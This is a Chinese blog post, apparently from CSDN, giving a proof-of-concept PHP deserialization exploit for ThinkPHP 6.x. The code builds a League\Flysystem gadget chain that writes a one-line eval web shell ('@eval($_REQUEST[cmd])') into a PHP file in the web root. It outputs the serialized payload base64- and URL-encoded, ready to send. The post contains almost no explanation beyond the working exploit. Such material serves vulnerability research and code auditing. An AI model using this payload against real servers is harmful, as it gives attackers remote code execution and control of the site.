ThinkPHP6.x反序列化POC

最新推荐文章于 2023-12-28 14:16:29 发布

Iwanturoot

最新推荐文章于 2023-12-28 14:16:29 发布

阅读量735

点赞数

分类专栏：代码审计 VulnReviewing 漏洞原理文章标签： thinkphp php 反序列化 POC

本文链接：https://blog.csdn.net/qq_32731075/article/details/124000886

版权

漏洞原理同时被 3 个专栏收录

41 篇文章 9 订阅

订阅专栏

VulnReviewing

32 篇文章 3 订阅

订阅专栏

代码审计

27 篇文章 3 订阅

订阅专栏

<?php
namespace League\Flysystem\Adapter{
    abstract class AbstractAdapter{
        protected $pathPrefix;
        function __construct()
        {
            $this->pathPrefix = '';
        }

    }

    class Local extends AbstractAdapter
    {

    }
}

namespace League\Flysystem\Cached\Storage{
    use League\Flysystem\Adapter\Local;

    abstract class AbstractCache{
        protected $autosave = false;
//        protected $complete = [];
//        protected $expire = null;
        protected $cache = [];
        public function __construct()
        {
            $this -> autosave = false;
//            $this -> complete = ['armandheddd' => 'sdkfjdslfjsl'];
//            $this -> expire = 'noipi';
            $this -> cache = ["payload" => "\<?php @eval(\$_REQUEST[cmd])?>"];


        }
    }

    class Adapter extends AbstractCache {

        /**
         * Adapter constructor.
         */
        protected $file;
        protected $adapter;
        public function __construct()
        {
            parent::__construct();
            $this -> adapter = new Local();
            $this -> file = 'D:/phpstudy_pro/WWW/tp/public/armandhenewpy.php';
        }

    }
}

namespace app\controller{
    use League\Flysystem\Cached\Storage\Adapter;
    class createPayload{
        public function createpayload(){
            echo urlencode(base64_encode(serialize(new Adapter())));
        }
    }

}